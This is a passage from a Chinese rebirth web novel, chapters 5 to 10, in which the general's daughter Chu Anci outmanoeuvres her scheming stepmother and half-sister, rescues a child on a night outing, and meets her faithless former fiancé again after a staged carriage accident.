想起楚北渊,萧晴就想起当时还是小小年纪的他,心思有多深!
自己入府时,他看着对自己客气恭谨,可是视线却时时在打量。
甚至有一次她还听到楚北渊与将军谈话,楚北渊问楚行:
“爹,您与娘亲感情深厚,就连娘亲将自己身边人给您,您都不多看一眼。”
“娘亲离开后,您也因为思念娘亲,一再消沉,对女子也是避而远之,怎会突然和不熟悉的人有了纠葛?”
楚行道:“我也不知,当时喝多了,什么都不记得了。”
“不过事情既已发生,爹爹不是不负责任的人,无非就是给个名分放在府内。”
“唉,就是你娘亲......是我负了她,是我的错。”
当时萧晴听到二人的谈话,背后渗出一层冷汗,自那日起,她就有意避着楚北渊,生怕被他看出什么端倪。
所以当听到楚安辞说,她拿走她的东西后,楚北渊可能会猜忌,萧晴就有些头疼。
她不怕被楚北渊猜到自己的心思,只是将军不在,如果楚北渊对将军说了什么,而她又不在将军身边,无法吹耳边风,那事情就有些麻烦了。
萧晴道:“府中事物繁忙,这些我都处理不来,既是大姑娘自己的私产,大姑娘自己拿着就是。”
“姑娘大了,也该多为自己考虑了。”
说这话的时候,虽然有些不自在,但依旧让自己看起来是个好说话的慈母的样子。
这时白灼拿着信回来了,将信递给萧氏。
萧氏接过信封,很薄。
她有些激动,这还是将军第一次主动给她写信。
萧氏将信封打开,拿出一张纸,当看到纸上的内容,神色一滞。
“父亲都写了什么?”楚潇雨问道。
萧氏讪讪一笑:“没,没什么!”
楚潇雨已经走过去,接过了信,当看到上面的字,她的笑容也消失了。
信纸掉落,楚安辞一眼就看清了上面的内容。
看完,她笑了,不过忍住了,只在心里笑:唉,爹爹还真是......是他的风格!
楚行写信的时候她不在,也没打开看,所以并不知道里面写的什么。
现在看到,她着实是又感动,又无语。
上面只寥寥两句:暮暮既已回府,将军府一切事情,便由她做主即可。
暮暮,楚安辞的乳名,对应楚北渊的乳名朝朝,代表夫妻的感情恩爱,朝朝暮暮相伴相随。
楚大将军这是隔着千万里,在打萧氏这个当家夫人的脸啊。
上一刻,她们还在算计楚安辞的财物,这一刻,她便有种连整个将军府都要脱手的感觉。
“那个......呵呵,既然将军对大姑娘如此看重,你又在北境管过事务,想必也是有经验的。”
“回头我整理一下,将军府的事务就......”萧氏说的很是艰难。
她管理府内十几年,自己还好好的,就要让一个小丫头顶在自己头上当家做主,这算什么?
第6章 阁下何人
楚安辞看够了萧氏的模样,很是体贴地道:“夫人,别听爹爹的,他领军打仗还可以,管家是万万不能的。”
“并且我想爹爹应该也不是那个意思,他知道我这次回来,是为了准备出嫁的,又怎会让我执掌府中中馈?
到时候倒来倒去,还不乱了套?”
“更何况京城事务繁杂,礼尚往来其中门道也多,我常年在北境,完全没有这么多复杂的事情,所以府中的事务我打理不来的,以后还是和以前一样就可。”
萧晴闻言,见楚安辞这话不似作假,心下松了口气。
她是真的不想将府中中馈交出,但也不好直接违逆将军的意思,尤其是在这个时候。
笑道:
“那好,那我就多费些心,不过你这边有什么事情,有需要的尽管遣人来寻我就是,将军府才是你的家,在自己家里,不用客气。”
“自在些,就和在北境一样!”
楚安辞笑道:“我知道,在家里自是自在的。”
然后看向还有些愣怔的楚潇雨,“不过妹妹也不小了,夫人也该教一教妹妹一些掌家之事才是。”
上一世,她在宣平侯府,可是很喜欢掌家呢!
至于掌的好不好,那就是另外的事情了。
萧氏道:“还是大姑娘能时刻记挂着雨儿,这孩子确实不小了,也该学一学中馈之事了。”
寒暄几句,楚安辞便也懒得和她们虚与逶迤,回了瑶华居。
刚回来,蓝英就已经收拾妥当库房的事情,等在那里了。
“大小姐,万管事求见。”
楚安辞颔首:回京了,也该去万方楼看看了。
低声道:“给他回话,我晚点过去。”
“是!”
蓝英又拿出两个盒子,白芍看着两个眼熟至极的盒子,惊讶:“这不是给二小姐的礼物吗?”
蓝英:“是,我从明姝院后面捡到的!”
白芍鄙夷:“还真是不识货,说是特产,还真以为只是普通的特产了?”
她将连个盒子打开,一一检查过后,发现并没有什么损伤,这才小心翼翼地收了起来。
“这可是在京城都千金难求的百年野山参,药性极佳,再没有比这好的了。”
“还有天山雪莲,我们小姐带回来的也就这么一颗,太不识货了!”
楚安辞不以为意:“估计她连打开盒子看一眼都未曾,甚至很是嫌弃!”
“不过也好,本也不想真的给,这么好的东西,我们自然是要留着的。”
她唇角不禁勾了起来,看着很是开心。
白灼凑上来道:“小姐,您是故意的吧?”
“等二小姐发现自己错过了什么,岂不悔的肠子都青了?”
蓝英也忍不住唇角微挑,“小姐算准了她们的所作所为。”
楚安辞没再继续说这件事,而是问道:“楚风呢?”
蓝英道:“刚才来找过小姐,小姐不在他就先回去了,这会估计快来了。”
话音刚落,楚风求见的声音就从外面传来。
楚风很快进来,先是行礼,然后汇报将军府的事情:
“回大小姐,将军府的府兵,已经全面接管!”
“经盘查,以前的府兵还有差不多一半,剩下的都是后来招募的,其中不少是萧夫人的人!”
“大小姐,这些人如何处置?”
楚安辞道:“不用管,盯着些就是,我们刚回来,我可是单纯善良,被父兄宠惯没啥心机的大小姐,怎么可能一回来,就和主母杠上,清理主母的人?”
白芍、蓝英,包括楚风都心道:大小姐,您的里子我们都清楚得很,在我们面前就不必装了吧?
楚安辞又道:“今晚我会出府,跟你说一声,我出去后,你多盯着些府内的动向。”
“还有,别的院子我不管,但是瑶华居你安排几个身手好,信得过的负责看守。”
犹豫了一下,道:“京城规矩多,倒也不用在院内,院子里有蓝英和白芍,不用担心,就在院外值守就好,方便有事随时汇报!”
“如果有什么风吹草动,你们也能及时做出反应。”
这个楚风自然应下,并且心中已经有了人选。
又简单说了些府内查探到的情况,楚风这才退下。
当晚,萧氏就得到了,楚护卫安排人守在瑶华居的事情。
一般情况下,护卫是不能随便进后院的。
不过万盛朝民风相对开放。
毕竟像将军府这种武将家,都有府兵,有些注重府内安全的,也会安排护卫在院内各处巡逻。
所以这么做也并没有太大问题,不过说出去,也不是很好听就是。
但又联系到楚安辞从北境长大回来的身份,就又觉得说得通了,又没什么问题了。
吃过晚饭稍作收拾,楚安辞看了看外面完全暗下来的天色,进入内室换了装束。
再出来的时候,已然是一身玄色长衣,腰间竖着墨色绣银纹腰带,腰带上还挂了一块玉质清透的玉佩,下面坠着白芍给作的流苏。
此时蓝英也换了一身装束,伴做随从跟在楚安辞身后,悄无声息地离开了将军府。
两个大活人离开,竟无一人察觉。
出了将军府,二人没有在街上停留,而是在夜色中踏着屋檐穿梭往最繁华之地。
晃眼间,楚安辞还会看一下下面的热闹,对蓝英道:
“京中还真是繁华,可比北境好玩多了。”
视线落在一处,“夜里的老鼠也多!”
原来就在不远处的一条巷子里,一个刀疤脸的男子,手中拿着匕首,怀中还抱着一个六七岁的幼童。
幼童呜咽,害怕极了,不停地挣扎扭动,“放开我,放开我,呜呜,娘,爹!”
刀疤脸被那男孩子吵得有些烦,厉声喝道:“给老子闭嘴,不然杀了你!”
另一边,巷子口有一对身着普通,但看着像是小富家庭的夫妻,男子颤声道:“别,别伤害我儿子,你要什么我都给!”
妇人也哭得声泪俱下,“求你,不要伤害我儿子,求你!”
刀疤脸却看向他们身后持刀的几人,那几人身着暗色装束,一看就是某个衙门的人,还是有身手的那种。
“你们求老子,不如求他们,只要他们放老子一条生路,老子就将你们儿子放了,否则,就一起死!”
楚安辞被这边的动静吸引,已经停了下来,从上往下看着,问蓝英:“他们是什么人?”
蓝英看了一眼几名持刀的人,道:“应该是镇抚司的人,对面那刀疤脸,应该是他们要抓的人。”
楚安辞饶有兴味:“镇抚司?”上一世怎么未曾听闻?
蓝英又道:“镇抚司的都督,名景离,是个手段阴狠之辈,京城众人无论达官显贵,还是黎民百姓,皆惧怕他。”
“公子,这个人有些麻烦,我们还是不要与他有纠葛的好!”
楚安辞颔首:“嗯!”景离?怎么感觉有点耳熟?
她回想了一遍:上一世不曾听闻有这么个人,可为何会耳熟?
她又看向下面的刀疤脸,此刻刀疤脸已经被逼急了,想要鱼死网破。
楚安辞道:“既然遇到了,不能见死不救,这孩子是无辜的。”
蓝英道:“我去!”
楚安辞将她拦住:“我来吧,许久未曾动手了。”
一个闪身,人已经消失在了原地。
等她身影再次出现的时候,已然在巷子中,怀中还抱着一个孩子,而另一只手正拿着匕首,抵在刀疤脸的咽喉上。
她唇角微挑,对刀疤脸道:“不好意思,你可能真的要死了。”
刀疤脸一滞,不待有反应,楚安辞已经一手放下孩子,轻声道:
“去,到你爹娘身边去!”
小男孩哇哇地哭着扑到娘怀中,男人和妇人一边检查孩子,一边就要给楚安辞道谢。
话音还未出口,只听刀疤脸一阵惨嚎。
等他们看去,哪还有楚安辞的身影。
只剩躺在地上,四肢皆被挑断,脸上身上还多了几道划痕的刀疤脸。
镇抚司的人都被这么快的动作唬住了。
立即上前查看,见刀疤脸还活着,只是身上这一道道的,看着不深,流血也似乎不是很多,可偏偏疼的刀疤脸身体不断抽搐。
其中一人道:“他是如何做到的?这么多伤口,血加起来流得不足一碗,却让这歹人痛苦成这样?”
另一人道:“手法太快了,人脸我都没看清。”
“救我,救我!”刀疤脸对着镇抚司的人求救。
镇抚司几人对视一眼,冷笑:“呸,你这样的人活该受到最痛苦的刑法,人一家几十口被你残忍杀害的时候,你听到求救,可有心软?”
楚安辞没管后面的事情,已经带着蓝英离开了巷子,而她们身后,一高大身影站在屋檐上,深邃的眼眸直直盯着楚安辞的背影。
很快一人闪身过来,对男子道:“大人,可要属下去调查一下这是何人?”
景离摇头:“不必!”
嘴上说不必,可是人却悄无声息地跟了上去。
快到万方楼的时候,楚安辞突然脚步一顿,扭头看向后面。
她转身很快,对方未来得及闪躲,四目隔着夜色相撞!
“阁下何人,为何要跟着我?”
蓝英也上前一步,挡在楚安辞身前,警惕地盯着对面二人。
第7章 辰公子
蓝英成防御姿态,视线不错开分毫,死死盯着对面的两个男子。
手中已经拿上了一柄短刀,犹如蓄势待发的猎豹,准备随时动手。
而对面的男子却没动,也没说话,神情看着似乎并不紧张。
这样的神情,落在楚安辞眼中,似是挑衅。
楚安辞没有命令蓝英动手,而是自己一个闪身,手掌成刃,对着男子的面门劈砍而去。
靠近了,楚安辞才发现:这男人长的......还挺好看的。
心里赞叹男子样貌好看,可是手上动作却丝毫不带停滞。
景离的反应也快,微微侧身躲开了楚安辞的一掌。
抬手握住她的臂弯一拉,楚安辞一个不妨,被拽的向前半步,但很快稳住身形。
反手扣握住了景离的手腕。
两人各自一只手交缠,互相抓着对方的手腕,谁也不放。
另一只手却动作不停,你来我往,就连脚下也不时偷袭两下。
一番交手,楚安辞发现,自己似乎不能轻易拿下对面这人,心底一沉:以我的身手,竟然打不过!
既然打不过,楚安辞索性不打了,松开了景离的手腕,后退几步。
“你到底什么人?咱俩无冤无仇,我也不曾认识你,兄台这般跟着是有何见教?”
景离这次终于有了回应,轻笑一声,声音很轻很冷,“你想多了,路过。”
话语简断,楚安辞微怔,她好像在这六个字中听出了嘲讽。
黑暗中,只见对面的人抬起一只白而修长的手,指了指万方楼的方向,“我要去那里!”
楚安辞扭头看了一眼,脸一黑,还真的是自己搞错了!
“抱歉,是在下唐突了,请!”
楚安辞主动让开半步,示意他们先过。
景离的视线不经意般在楚安辞的脸上扫过,从她身边走了过去。
淡淡的清香随着夜风进入他的鼻腔,景离眼角余光,借着朦胧的月光清晰地看到了那一双被纤长浓密的睫毛半遮掩的黑眸。
黑眸干净澄澈,映射着点点星辉。
见景离主仆走远,楚安辞抬手挠挠头:是我太过紧张了,只是京城竟然也有人喜欢如我一般,在屋顶走?
这个问题,楚安辞没有多想,带着蓝英也快速进了万方楼。
她们没有从正门入,而是直接从窗户进了三楼一个包间。
包间雅致清幽,干净整洁。
外面热闹非凡,不时有乐声,歌舞声穿透进来。
但是人来人往中,没有一人往这边走来。
楚安辞和蓝英都没出去,只是找了位子坐下。
蓝英摸了摸茶壶,温热的,显然是知道有人前来,提前备好的。
她给楚安辞倒了一杯,“公子,喝茶!”
楚安辞端起茶杯,放在鼻尖闻了闻,“嗯,是庐山云雾,万管事做事永远都是那么周道。”
一杯茶还未喝完,门口有了动静。
包间门打开,一个身材中等,模样干练的男子走了进来。
一进来先关上了门,这才来到楚安辞面前行礼,“大小姐!”
楚安辞颔首,指了指对面的位子,“万管事,好久不见,坐下说话!”
万管事道谢,坐下后便道:“大小姐终于归京了,我们都一直盼着大小姐,慕棋、慕书、慕琴、慕画她们听闻您来了,都想要见您。”
“只是这会外面客人多,不好叫她们擅自离开。”
楚安辞笑道:“让她们忙着就是,我来就是看看,没什么事情,都已经回来了,见面早晚的事。”
“京城这边的情况如何?北境的军备物资可有送去?”
“我们起程的时候,北境已经开始下雪了,天冷得很,物资不够,将士们就又得受苦了。”
万管事道:“冬衣冬被都已经准备好了,连同十万担粮草,都出发了,已经走了十多天,下月初应该就能到。”
他叹了口气,“唉,这些年朝廷国库不丰,对军粮也克扣得厉害,还经常不及时播放,幸好有大小姐做底,从未缺了边关将士,不然他们还不知道要受多少罪。”
“大将军和少将军也才能无后顾之忧!”
楚安辞冷嗤一声,“哼,国库不丰?国库是不丰,可是那些官员,皇亲贵胄的家底可是丰厚的紧。”
“唯独天下百姓穷苦,但偏偏将士们还要这些最穷苦的人来养着。”
“既如此,那我就只能从那些丰裕的人手中抠出东西,来供养将士们了。”
上一世,爹爹可没少为边军粮草的事情发愁,甚至将士们因饿着肚子,和来犯的敌军战斗死伤颇重。
爹爹白发早生,多也是为此。
这一世有我在,我自然要尽我所能,替爹爹看顾好后方。
万管事道:“大小姐说的是,我们万方楼的人,都擅长从那些贵人手中拿钱,最近琴棋书画四人,又盯上了几位家中有权,且财产颇丰的贵公子。”
楚安辞对此不予置评,她开这万方楼,为的就是赚达官显贵和有钱人的钱,所以怎么从他们手中捞银子,是万方楼中的每一个人,都必须学会的课程。
万管事又拿出几本账本,“这是下面人汇报上来的账本,大小姐让我们盯着的人,这些年动用的钱财等都一一记在上面了。”
“大小姐何时拿回先夫人的东西,我们这边准备人手。”
楚安辞将账本翻了翻,眼神很冷,嘴角却上翘着,带着几分戏谑。
大体看过后,将账本交给蓝英,“带回去,让白芍先收起来。”
然后才对万管事道:“不着急,这么重要的东西,自然要用在刀刃上。”
万管事又汇报了一些京城和万方楼内的事情,楚安辞坐了一会,这才准备离开。
这次她没走窗,而是从万方楼内出去。
打开房门往楼下看了看,人来人往,大多都是世家公子,小姐也有但很少。
万方楼虽然男女客人都有,但女子大都喜欢白日前来品茶,晚上出来的很少。
楚安辞一身男子打扮,并没有引起他人注意。
只是在下楼的时候,刚巧和也要下楼的景离遇上。
楚安辞见到景离微微一怔。
万方楼内很亮,清晰的将景离的脸映入楚安辞眼中,深邃狭长的黑眸,冰冷,没有任何温度。
面容白皙,眉峰微扬,唇薄鼻挺,是个颜色极好的男子。
只是周身气场太冷,让人无法靠近。
楚安辞视线快速扫过景离的脸颊,随即拱手,“好巧。”
景离颔首没有说话。
楚安辞也不以为意,径直先一步下楼。
刚到一楼,迎面一抱着琴,身着青色衣裙,模样柔和的女子迎面走来。
见到楚安辞,她眸中惊讶了一瞬,随即是欣喜。
但很快将情绪遮掩,抱着琴屈膝微微俯身一礼,“慕琴见过公子,公子可是要走了?”
楚安辞颔首,“嗯,该回了。”
慕琴犹豫了一下,还是跟在楚安辞身后,将人送到门外,“辰公子慢走。”
很是熟稔的样子,似乎楚安辞是这里的常客一般。
慕琴送走楚安辞,转身之际刚好遇到走出来的景离和灵耀,灵耀问道:“那位是何人?”
慕琴一怔,随即不动声色道:“那位是辰公子。”
灵耀凝眉,“辰公子,怎么从未听闻,是哪家的?”
慕琴回道:“楚家的,名北辰。”
灵耀更加疑惑了,眉头紧锁。
慕琴福了福身回了万方楼,灵耀则站在景离身后道:
“大人,我从未听过楚北辰这个人,不过倒是楚北渊听说过,据说是定北大将军的独子,但跟着大将军戍守边关。”
他嘶了一声,“这楚北辰,和楚北渊什么关系?”
“难道是楚大将军的庶子?也没听说大将军有妾室啊,难道是私生子?”
说后面三个字的时候,声音都不自觉放低了些。
景离:“你去查一查。”
“是!”
楚安辞和蓝英没有在外停留,直接回了将军府。
白灼见到她们回来,便迎了上去道:
“小姐,你们回来了,事情怎么样?”
楚安辞道:“一切顺利,府内可有什么情况?”
白灼摇头,“没什么事,只是你们走后不久,萧夫人那边便派了人过来。”
第8章 好继母,好妹妹
“什么事?”楚安辞一边脱去外袍,一边问。
“夫人那边派人来说,大小姐刚回府,连日来奔波劳累,让大小姐好好休息。”
“府中只有母女三人,日常也没那么多规矩,所以不必每日请安。”
“我竟没想到,她居然这么好心,我还以为明天开始,她就要以请安为由拿捏小姐呢!”
“小姐,您说她这般是为何?”
楚安辞已经退了衣衫,进入到白灼提前备好的热水中,舒适的倚靠在浴桶边。
“她既然这么说了,那我们也就不必每日去请安了,无非就是想要立一立慈母形象。”
“既如此,那我自然要成全的,刚好我也不想去给她请安。”
上一世就是如此,看来时隔十二年,重生回来,她还是同样的手段,一点都没变。
想要扮演母慈子孝,善解人意疼爱女儿的好继母,那我就陪你慢慢演。
楚安辞面上不禁带上笑意:对以后的日子,越来越期待了呢!
夜半子时,楚安辞已经睡去。
迷蒙间,睡梦中的人突然睁开了眼,手比脑子还快,三根银针射了出去。
黑影一闪,银针齐齐扎入门框。
蓝英快速过来,一眼就看到了那三根银针,紧张的看向还坐在床上,衣襟松散露出细长脖颈的楚安辞。
“大小姐!”
楚安辞:“我没事,刚刚有人潜入我房中,被我用银针射跑了,只是那人动作太快,没射中!”
蓝英来不及多言,立即追了出去,片刻后回来道:
“没追上。”
“可是萧夫人那边派来的?”
楚安辞摇头:“应该不是,她没有这样的本事!”
“不过那人的身影,似乎有点熟悉,好似见过!”
想了一会,还是没想起什么人,便道:“好了,你去休息吧,没人能轻易伤得了我的。”
蓝英点头,出去关上房门。
但是人却没离开,而是一直守在门外,警惕的看着四周。
楚安辞知道蓝英的脾气,也没再多言,重新躺了回去。
但眉头紧锁,试图搜索到那股熟悉感从何而来,最终想着想着,睡着了......
翌日一早,楚安辞用过早膳,小院门口就传来嘈杂声。
不多时楚潇雨身着宝石青织银丝牡丹团花袄,下身青莲百褶裙,踏着白底绣花锦靴走了进来。
笑容娇艳明媚,“姐姐,我就知道你起了。”
“今日天气不错,我和小姐妹约了出去玩,想着姐姐刚归京,对京城还不熟悉,带着姐姐一起出去走走。”
“刚好也介绍我的小姐妹给姐姐认识,好叫姐姐尽快熟悉京城。”
楚安辞还没回应,外面又有丫鬟来报:“大小姐,夫人命人送来了一些东西。”
然后几个丫鬟抱着一个个盒子,和两匹蜀锦,还有两身做好的成衣进来。
来送东西的丫鬟道:“大小姐,夫人说您刚回来,北境的东西和京城的不同,这些都是夫人提前为您准备的。”
指着前面几个盒子道:“这些是京城最新的首饰,适合大小姐这个年纪佩戴的。”
然后指着两套成衣,“这是夫人让绣娘连夜赶出来的,大小姐先穿着,后面还有!”
看着这么多东西,楚安辞起身道:“替我谢过夫人,白灼,将东西都收下吧!”
等丫鬟离开,楚潇雨用羡慕的眼神看着楚安辞:
“真羡慕姐姐,那些首饰我看过,都是最新的,之前还想买来着,可是价格昂贵,一直没舍得买。”
“唉,母亲真是偏心,有了姐姐,就忘了我这个女儿了。”
“我看,姐姐才是母亲亲生的才对!”
楚安辞道:“妹妹说笑了,夫人还是疼你的,不过是我刚回来,夫人这才多加关照了一些。”
然后拿过首饰盒子,“这么多我也戴不过来,妹妹看看可有喜欢的,送给妹妹。”
楚潇雨看了看那些首饰,却摇头:“还是不了吧,妹妹怎能与姐姐抢东西,姐姐刚回来,母亲合该将姐姐这些年缺的补上才是。”
楚安辞道:“妹妹确定不要?”
楚潇雨点头:“嗯,回头我有喜欢的,再缠着母亲去买就是,多缠几次,母亲总会给我买的。”
“走吧姐姐,我带你出去玩!”
楚潇雨已经挽住了楚安辞的胳膊,模样真诚,像是真的关心姐姐的好妹妹。
就是莫名的,让楚安辞感受到了一丝急迫。
她不动声色地被楚潇雨拉着往瑶华居外走去,身后白灼和蓝英紧紧跟着。
快到大门口的时候,楚安辞道:“不需要和夫人说一下嘛?”
楚潇雨笑道:“姐姐放心,我已经跟母亲讲过了,母亲也说让我带你好好逛逛呢!”
走出大门,一辆带着将军府标记的马车停在那里。
楚潇雨道:“走吧,我们坐马车过去。”
楚安辞看着马车,没动。
楚潇雨回头,“姐姐,怎么了?”
楚安辞看了蓝英一眼,然后才对楚潇雨道:“要不坐我的吧,我习惯了用自己的东西,不习惯用别人的。”
楚潇雨神色一滞:她什么意思?她不习惯用别人的,我就习惯了?
看楚潇雨不说话,楚安辞便接着道:
“难道妹妹和我一样?
那刚好,我也不太喜欢和别人挤在一辆马车上,既如此,我们自己乘坐自己的马车,妹妹在前面,我们跟着就是!”
楚潇雨:那怎么行?
蓝英已经牵着一辆马车过来,不似之前归京时的那辆朴素,这辆马车看着像是新修整过。
就连外面的漆都是新的,门帘也是上好的布料。
看着贵气却不显眼,有种低调的奢华感。
“大小姐,请上车。”
蓝英给楚安辞放下马凳,等着她上车。
楚安辞看了一眼有些愣怔的楚潇雨,“那我先上车了。”
然后对蓝英道:“一会我们的马车跟在妹妹马车后面就是。”
楚潇雨反应过来,连忙过去拉住楚安辞,“姐姐,我们一起出去玩,坐两辆马车叫外人看着生分,还是坐一起吧,这样我们路上还能说说话,我也给姐姐介绍一下京城。”
楚安辞点头,“那行,那就一起坐我的马车吧!”
楚潇雨依旧拉着楚安辞,“还是坐我的吧,我的车夫对京城更熟悉一些。”
楚安辞挑眉,笑道:“没关系,叫车夫跟着就是。”
楚潇雨吸口气道:“那也行。”
然后喊前面的车夫,“将我马车上挂着的将军府的徽记拿过来,给姐姐挂上。”
然后又看向楚安辞,“姐姐是将军府的大小姐,马车上自然该有将军府徽记的。”
楚安辞却道:“哦,这个啊,不用了,我不习惯出门在外被人知道我的身份,那样会让我有种被人时刻盯着的感觉。”
车夫去解徽记的动作停住了,看向楚潇雨。
楚潇雨看了看车夫,又看了看楚安辞,最后道:“既如此,那姐姐先上车,我在前面给姐姐带路。”
不再多言,径直上了自己的马车。
马车行驶入京城街道,白灼看着前面的马车道:
“小姐,您有没有觉得,二小姐刚刚给人感觉怪怪的?”
楚安辞随意地撩了一下耳边的碎发,“嗯,我们看着便是,狐狸总会露出尾巴的。”
在这跟她装姐妹情深装了一早上了,说没有目的,谁会信?
“小姐,您快看,京城好生热闹。”
白灼很快就被外面的热闹吸引,将刚刚的事情就抛开了。
楚安辞透过白灼撩开的车帘往外看,热闹的街道上,有巡逻的官兵走过。
百姓见怪不怪,依旧忙着自己手中的事情。
前面的楚潇雨看着外面的神色有些焦急,她对身边的采姝低声说了几句,催促,“快去!”
采姝领命,立即下了马车。
马车行驶到一家首饰铺子前才停下,楚潇雨没着急下车,而是先打开车帘往外面看了看,然后才准备下车。
而那边楚安辞已经和白灼一起下了马车。
然而就在这时,一匹快马不知怎么突然窜了出来,朝着前面的马车直冲而去。
楚安辞站的位置,距离前面的马车很近,看着那马朝自己这边奔来,立即拉住白灼。
第9章 未婚夫英雄救美
正在下马车的楚潇雨看到那马正朝着自己奔来,吓得腿一软,但还是下意识地抓紧了马车车门。
就在本以为马要撞上来的时候,出来一人很快将马制住,但楚潇雨的马已经受了惊。
车夫没牵住,缰绳一下脱手,也就是这个时候,原本站在马车车辕上的楚潇雨身形不稳,被甩飞了出去。
这惊险的一幕,吓坏了所有人。
“妹妹。”
楚安辞大喊,声音中满是焦急,可是人却拉着白灼早已避得远远的了。
至于自己去救,那不可能!
她现在可以柔弱的小白花,怎么能救人呢?
眼看着好妹妹就要脸朝地栽下去,一个白色人影快速闪出,一把保住了楚潇雨,将人安稳救下。
男子面目清俊,身材修长,将楚潇雨救下后,关心地问道:“你没事吧?”
楚潇雨拍着胸口,心有余悸,显然是吓坏了。
待听到男人的问话,她泪眼懵懵地抬头看向他,“沈哥哥,刚刚我......我好害怕!”
男人温声安抚,“好了,没事了,有我在。”
楚安辞一眼就认出了那人,她怔怔望着男人关怀担忧楚潇雨的模样,手不由紧紧攥起,心中的杀意差点没压制住。
沈厉岚,我们终于又见面了。
上一世我全心全意对你,把你当做我的一切。
而你做了什么,娶妻之日还要娶我妹妹为平妻。
你不但以这种方式侮辱我,还多次纵容楚潇雨以及你的家人羞辱我,霸占我的嫁妆。
更是利用我,害死我哥哥,害死我爹爹,抢夺我楚家兵权,为你的仕途铺路。
前世种种,你对我和我的父兄做的一切,我永远都不会忘。
她视线凌厉的看着对面相拥在一起的二人:
哼,这一世没有我在,看来你们还是早就勾搭到了一起!
既然你们这么相爱,这一世,我一定要死死将你们绑定在一起!
好好的成全你们!
“小姐,奴婢刚刚看到,原本要去救人的是另一人。”
蓝英的声音,将楚安辞从仇恨中唤醒。
她顺着蓝英指的方向看去,一眼就认出了那个身着宝石蓝长袍的男子,是沈厉岚的堂弟沈厉安。
再结合今日出门前的种种,和楚潇雨的那些操作,楚安辞一下就将事情串联了起来。
她心中冷笑:原来,今日出门的好戏是这个!
如果我坐了前面的马车,那到时候马奔来时,被甩下马车的很可能就是我。
到时候出手救人的,便有很大可能是沈厉安,即便沈厉岚也在,以他的脾气,也不会为一个不相识的女子出手。
如果我们二人同时被甩出去,沈厉岚也依旧会先去就楚潇雨。
而沈厉安这个纨绔,也是绝对不会放弃这个英雄救美的机会的。
那他救的,就只会是我。
以沈厉安的身手,绝对没有能力如沈厉岚一般,轻松将人救下,那个时候无论是我被沈厉安抱着。
还是我们两人摔在一起。
这般与外男亲近的一幕都会落入沈厉岚眼中。
即便是情势所迫,有了这样的一幕发生,在沈厉岚知道我是他的未婚妻后,依旧会心存芥蒂。
他是那般大男子主义之人,即便沈厉安是他的堂弟,他也永远不会过去这个坎的。
到时候,轻则沈厉岚依旧娶我为妻,但心生厌恶,楚潇雨就能更好地拿捏沈厉岚的心。
重则取消婚约,成全楚潇雨和沈厉岚二人。
而我要么陷入被退婚的风波名声尽毁,要么就只能委曲求全嫁入沈厉安这个纨绔。
但不巧,被摔下马车的成了楚潇雨,沈厉安虽然依旧想要英雄救美,但沈厉岚既然知道那人是楚潇雨,怎么可能会坐视不理。
所以这英雄救美的人,变成了他与她。
哼,楚潇雨,我不在京城十二年,看来你还是没有完全拿下沈厉岚,不然也不会再有今日这一出。
是怕我回来,抢走她心爱的男人?
那抱歉,你还真是想多了,我非但不会去抢,甚至还会帮助你们,亲自撮合你们在一起。
想到这里,楚安辞也装作担忧的样子立即上前,“妹妹,你没事吧?”
她眼带担忧地将人打量一番,然后道:“刚刚吓死我了,幸好你没事!”
又对着沈厉岚一礼,“多谢这位公子相救,不然我妹妹这次肯定会受伤的,那时我真不知该如何与夫人交代了。”
见到楚安辞过来,楚潇雨没动,依旧半靠在沈厉岚怀中嘤嘤哭泣,像是还未从惊吓中回过神来。
沈厉岚看到明眸皓齿,脸颊白皙未施粉黛的楚安辞微微一愣,“这位姑娘是......”
一边白灼道:“我们小姐是定北大将军府的大小姐。”
闻言,沈厉岚看向楚安辞的眼神多了几分打量。
见她眼底清澈,好似真的关心妹妹。
再看她和楚潇雨的自带妩媚截然不同的清纯面容,沈厉岚一时间忘记了说话。
直到楚安辞问道:“敢问公子是哪个府上的,回头我们将军府定要上门道谢。”
沈厉岚回神,连忙松开了楚潇雨,并错开一步,“在下沈厉岚,宣平侯府。”
楚安辞似乎是没想到竟是他,微怔。
“啊,多谢沈世子!”
一旁楚潇雨被推开,眉头微蹙。
见到二人这般,立即道:“对不起姐姐,我不是故意的,刚刚沈哥哥那般也是情急所致,还请姐姐不要介意!”
突然这般说,楚安辞更惊讶了,“妹妹如何这般说?好似我会生气一般,沈世子救了你,我怎会生气?”
楚潇雨道:“那个,男女授受不亲,而沈哥哥又是姐姐的未婚夫,所以我才......”
见楚潇雨明明受了惊吓,却依旧担心姐姐误会的样子,沈厉岚不忍。
对楚潇雨道:“楚妹妹不必如此,刚刚本就是形式所迫,如果楚大小姐因此而介意,那就未免太过不近人情了。”
这次沈厉岚再看向楚安辞的眼神,带了几分冷淡,似乎是在看一个善妒的后宅女子。
楚安辞心中冷笑,面上似是被经提醒,有些为难,“我都忘记了,原来我与沈世子还有婚约啊。”
“不过妹妹与未婚夫抱在一起,似乎确实不妥。”
这话说的对面二人脸色都不是很好看。
就连周围的人,都不禁指指点点。
“姐姐对不起,都是我的错,你别怪沈哥哥,都是妹妹的错,是我不够小心,沈哥哥也不该救我的,我摔下去......”
楚潇雨这下看着更加委屈,惹人恋爱了。
沈厉岚的眸色也更冷了。
就连周围看热闹的人,话音也变了变,有些指责楚安辞小肚鸡肠,不顾妹妹安危。
楚安辞道:“妹妹也别哭了,事急从权,以后注意就是,我不会生气的。”
“毕竟比起妹妹的安全,这点事情算什么?”
“比起这个,我更不想你受伤啊!”
楚潇雨抽噎的声音一滞,似是没想到楚安辞真的不会生气,接着道:“谢谢姐姐!”
沈厉岚这会再看楚安辞的目光又柔和了几分,没了刚才的冷厉。
“妹妹在里面等着,我们也别在这站着了,进去吧!”
沈厉岚大步往前,他们一起进了翡翠阁。
门口,沈厉安眼神在楚安辞的身上打量一番,然后看向楚潇雨,“楚妹妹,你没事吧?刚才我本要去救你的,可惜被大哥先一步。”
说着,脸上还漏出惋惜的样子。
楚潇雨瞪了沈厉安一眼,心道:幸好沈哥哥在,如果被你抱着,我还要不要活了?
嘴上却道:“多谢沈二公子,多亏了沈哥哥,我没事!”
沈厉安随手摆了摆,“没事就好,快上楼吧,琼珠妹妹还在楼上等着咱们呢!”
第10章 有钱的野丫头
上得二楼,沈琼珠便迎了上来,拉住楚潇雨的手,“潇雨,你没事吧,刚刚我在二楼都看到了,可吓死我了,幸好大哥厉害,及时救下你。”
楚潇雨摇头:“嗯,我没事。”
沈琼珠拉着楚潇雨坐下,这才看向楚安辞,“这人是谁?”
她将人上下打量一番,被楚安辞那单纯无害,又绝美的容貌狠狠惊艳住。
